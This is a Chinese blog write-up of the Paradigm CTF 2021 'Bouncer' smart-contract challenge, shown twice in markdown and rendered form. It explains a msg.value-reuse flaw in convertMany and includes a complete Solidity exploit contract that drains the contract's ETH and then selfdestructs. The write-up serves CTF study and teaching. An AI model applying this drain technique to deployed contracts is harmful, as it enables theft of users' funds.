Paradigm CTF-Bouncer
本文是Paradigm CTF的Bouncer系列,这个系列需要与Uniswap进行交互,调试OPCODE的时间会少一点,对DEFI生态的考察会更多一点。DEFI积木如何互相影响,是这个系列的一个考察点。
# Paradigm CTF-Bouncer 本文是Paradigm CTF的Bouncer系列,这个系列需要与Uniswap进行交互,调试OPCODE的时间会少一点,对DEFI生态的考察会更多一点。DEFI积木如何互相影响,是这个系列的一个考察点。 本文都是基于https://cmichel.io/paradigm-ctf-2021-solutions/这篇文章进行的分析,如有需要可以参考原文。 > 目前作者正在找智能合约相关的工作,希望能跟行业内人士多聊聊 。如果你觉得我写的还不错,可以加我的微信:woodward1993 ## 题目分析: 首先是分析下合约Bouncer的资金流入流出表 | 方法名 | 资金流向 | 要求 | 状态 | | :-------------------------------------------- | ------------- | ------------------------------------------------------------ | :------------------------------------ | | $enter(address,uint256)$ | TOKENÐ流入 | $msg.value = entryFee$ | `new Entry(amount,time,token)` | | $convertMany(address,uint256[])$ | NA | | `entry.token+=amount` | | `contributions(address,address[])` | | | | | `convert(address,uint256)` | NA | $\mathtt{1}. block.timestamp > entry.tiemstamp\\\mathtt{2}.token.allowance = uint(-1)\\\mathtt{3}.msg.sender = delegate[who] $ | `entry.token += amount` | | `redeem(ERC20Like,uint256)` | TOKENÐ流出 | $tokens[msg.sender][address(token)] > amount$ | `tokens[msg.sender][token] -= amount` | | `proofOfOwnership(ERC20Like,address,uint256)` | TOKENÐ流入 | $msg.value = amount$ | | | `addDelegate(address,address)` | NA | $msg.sender = owner\\ msg.sender = from$ | `delegates[from] = to` | | `removeDelegate(address)` | NA | $msg.sender = owner\\ msg.sender = from$ | `delete delegates[from]` | | `claimFees()` | ETH流出 | $msg.sender = owner$ | | | `hatch(address,bytes)` | NA | $msg.sender = owner$ | delegatecall | 再看下题目要求: ```js function isSolved() public view returns (bool) { return address(bouncer).balance == 0; } ``` 题目要求是拿走Bouncer合约的所有ETH,故我们关注下ETH流出函数:`claimFees和redeem`,由于`claimFees`要求是owner,我们可以先看下`redeem` ```js // redeem your tokens for their underlying erc20 function redeem(ERC20Like token, uint256 amount) public { tokens[msg.sender][address(token)] -= amount; payout(token, msg.sender, amount); } ``` 看起来可以直接调用redeem函数,他就会直接将ETH转账给我们,但实际上它有一个隐含要求:由于是solidity 0.8.0, 其加减乘除法都实现了openzepplin的safemath库,故此函数的实际要求是: ```js // redeem your tokens for their underlying erc20 function redeem(ERC20Like token, uint256 amount) public { require(tokens[msg.sender][address(token)] > amount); tokens[msg.sender][address(token)] -= amount; payout(token, msg.sender, amount); } ``` 正常的工作流程是: ```js enter(ETH,1 ether) -- new Entry{amount=1 ether, time=now, token=ETH} convert(user, id) -- 拿到entry = entries[user][id] -- 进行convert里面的三个验证:timestamp, allowance, msg.sender=user --> proofOfOwnership(token,user,amount) --验证 msg.value == amount -- token[user][token] += amount redeem(token, amount) -- token[user][token] > amount --> payout(token,msg.sender,amount) ``` 正常流程中,应该是每一次convert都需要验证msg.value==amount。但是如果改成convertmany,则只需要一次满足即可,其流程变为: ```js enter(ETH, x ether) <msg.value=1 ether> enter(ETH, x ether) <msg.value=1 ether> convertmany(user, ids) <msg.value=x ether> --> convert(user, ids[0]) --> proofOfOwnership(token, user, amount) -- require(msg.value == amount) 满足 <token[user][ETH] = x> --> convert(user, ids[1]) --> proofOfOwnership(token, user, amount) -- require(msg.value == amount) 满足 <token[user][ETH] = 2x> redeem(ETH, 2x ether) --> payout(ETH, msg.sender, 2x ether) 我们期望的结果是: out: 2x in: x + 1 + 1 reserve: 50 + 1 + 1 => out = in + reserve => 2x = x + 2 + 52 x = 54 ``` 故我们的破解合约为: ```js pragma solidity 0.8.0; import "./Setup.sol"; import "hardhat/console.sol"; contract Hack { Bouncer public bouncer; address public ETH; uint public target_amount; constructor(address _setup) public payable { bouncer = Bouncer(Setup(_setup).bouncer()); console.log("bouncer is %s", address(bouncer)); ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // 拿到bouncer合约的所有ETH余额值 uint256 _amount = address(bouncer).balance; console.log("bouncer.balance %s",_amount); // 目标数量 target_amount = _amount + 2 ether; console.log("target_amount %s", target_amount); // 往Bouncer里存一个数量 } function pre_go() public payable { bouncer.enter{value: 1 ether}(address(ETH), target_amount); bouncer.enter{value: 1 ether}(address(ETH), target_amount); } function go() public payable { // 执行上述逻辑 // 执行convertmany uint256[] memory ids = new uint256[](2); ids[0] = 0; ids[1] = 1; bouncer.convertMany{value: target_amount}(address(this), ids); console.log("tokens[msg.sender][ETH] = %s", bouncer.tokens(msg.sender,ETH)); // 执行redeem bouncer.redeem(ERC20Like(ETH), 2*target_amount); console.log("tokens[msg.sender][ETH] = %s", bouncer.tokens(msg.sender,ETH)); // 判断并自毁 require(address(this).balance >= 2*target_amount, "balance not enough"); selfdestruct(payable(address(tx.origin))); } receive() external payable{} } ``` 写合约的时候,注意一点: 由于convert有一个timestamp的要求,故enter和convertMany不能再同一个块中。所以需要拆成两个函数。 ![image20210711190035084.png](https://img.learnblockchain.cn/attachments/2021/07/6Dbwt6nH60eed8e2c9b67.png) ![image20210711190050765.png](https://img.learnblockchain.cn/attachments/2021/07/DPtZQvCC60eed8e30fb77.png)
Paradigm CTF-Bouncer
本文是Paradigm CTF的Bouncer系列,这个系列需要与Uniswap进行交互,调试OPCODE的时间会少一点,对DEFI生态的考察会更多一点。DEFI积木如何互相影响,是这个系列的一个考察点。
本文都是基于https://cmichel.io/paradigm-ctf-2021-solutions/这篇文章进行的分析,如有需要可以参考原文。
目前作者正在找智能合约相关的工作,希望能跟行业内人士多聊聊 。如果你觉得我写的还不错,可以加我的微信:woodward1993
题目分析:
首先是分析下合约Bouncer的资金流入流出表
方法名 | 资金流向 | 要求 | 状态 |
---|---|---|---|
$enter(address,uint256)$ | TOKENÐ流入 | $msg.value = entryFee$ | new Entry(amount,time,token) |
$convertMany(address,uint256[])$ | NA | entry.token+=amount |
|
contributions(address,address[]) |
|||
convert(address,uint256) |
NA | $\mathtt{1}. block.timestamp > entry.tiemstamp\\mathtt{2}.token.allowance = uint(-1)\\mathtt{3}.msg.sender = delegate[who] $ | entry.token += amount |
redeem(ERC20Like,uint256) |
TOKENÐ流出 | $tokens[msg.sender][address(token)] > amount$ | tokens[msg.sender][token] -= amount |
proofOfOwnership(ERC20Like,address,uint256) |
TOKENÐ流入 | $msg.value = amount$ | |
addDelegate(address,address) |
NA | $msg.sender = owner\ msg.sender = from$ | delegates[from] = to |
removeDelegate(address) |
NA | $msg.sender = owner\ msg.sender = from$ | delete delegates[from] |
claimFees() |
ETH流出 | $msg.sender = owner$ | |
hatch(address,bytes) |
NA | $msg.sender = owner$ | delegatecall |
再看下题目要求:
function isSolved() public view returns (bool) {
return address(bouncer).balance == 0;
}
题目要求是拿走Bouncer合约的所有ETH,故我们关注下ETH流出函数:claimFees和redeem
,由于claimFees
要求是owner,我们可以先看下redeem
// redeem your tokens for their underlying erc20
function redeem(ERC20Like token, uint256 amount) public {
tokens[msg.sender][address(token)] -= amount;
payout(token, msg.sender, amount);
}
看起来可以直接调用redeem函数,他就会直接将ETH转账给我们,但实际上它有一个隐含要求:由于是solidity 0.8.0, 其加减乘除法都实现了openzepplin的safemath库,故此函数的实际要求是:
// redeem your tokens for their underlying erc20
function redeem(ERC20Like token, uint256 amount) public {
require(tokens[msg.sender][address(token)] > amount);
tokens[msg.sender][address(token)] -= amount;
payout(token, msg.sender, amount);
}
正常的工作流程是:
enter(ETH,1 ether)
-- new Entry{amount=1 ether, time=now, token=ETH}
convert(user, id)
-- 拿到entry = entries[user][id]
-- 进行convert里面的三个验证:timestamp, allowance, msg.sender=user
--> proofOfOwnership(token,user,amount)
--验证 msg.value == amount
-- token[user][token] += amount
redeem(token, amount)
-- token[user][token] > amount
--> payout(token,msg.sender,amount)
正常流程中,应该是每一次convert都需要验证msg.value==amount。但是如果改成convertmany,则只需要一次满足即可,其流程变为:
enter(ETH, x ether) <msg.value=1 ether>
enter(ETH, x ether) <msg.value=1 ether>
convertmany(user, ids) <msg.value=x ether>
--> convert(user, ids[0])
--> proofOfOwnership(token, user, amount)
-- require(msg.value == amount) 满足
<token[user][ETH] = x>
--> convert(user, ids[1])
--> proofOfOwnership(token, user, amount)
-- require(msg.value == amount) 满足
<token[user][ETH] = 2x>
redeem(ETH, 2x ether)
--> payout(ETH, msg.sender, 2x ether)
我们期望的结果是:
out: 2x
in: x + 1 + 1
reserve: 50 + 1 + 1
=> out = in + reserve
=> 2x = x + 2 + 52
x = 54
故我们的破解合约为:
pragma solidity 0.8.0;
import "./Setup.sol";
import "hardhat/console.sol";
contract Hack {
Bouncer public bouncer;
address public ETH;
uint public target_amount;
constructor(address _setup) public payable {
bouncer = Bouncer(Setup(_setup).bouncer());
console.log("bouncer is %s", address(bouncer));
ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
// 拿到bouncer合约的所有ETH余额值
uint256 _amount = address(bouncer).balance;
console.log("bouncer.balance %s",_amount);
// 目标数量
target_amount = _amount + 2 ether;
console.log("target_amount %s", target_amount);
// 往Bouncer里存一个数量
}
function pre_go() public payable {
bouncer.enter{value: 1 ether}(address(ETH), target_amount);
bouncer.enter{value: 1 ether}(address(ETH), target_amount);
}
function go() public payable {
// 执行上述逻辑
// 执行convertmany
uint256[] memory ids = new uint256[](2);
ids[0] = 0;
ids[1] = 1;
bouncer.convertMany{value: target_amount}(address(this), ids);
console.log("tokens[msg.sender][ETH] = %s", bouncer.tokens(msg.sender,ETH));
// 执行redeem
bouncer.redeem(ERC20Like(ETH), 2*target_amount);
console.log("tokens[msg.sender][ETH] = %s", bouncer.tokens(msg.sender,ETH));
// 判断并自毁
require(address(this).balance >= 2*target_amount, "balance not enough");
selfdestruct(payable(address(tx.origin)));
}
receive() external payable{}
}
写合约的时候,注意一点:
由于convert有一个timestamp的要求,故enter和convertMany不能再同一个块中。所以需要拆成两个函数。
区块链技术网。
- 发表于 2021-07-14 20:31
- 阅读 ( 377 )
- 学分 ( 14 )
- 分类:智能合约
评论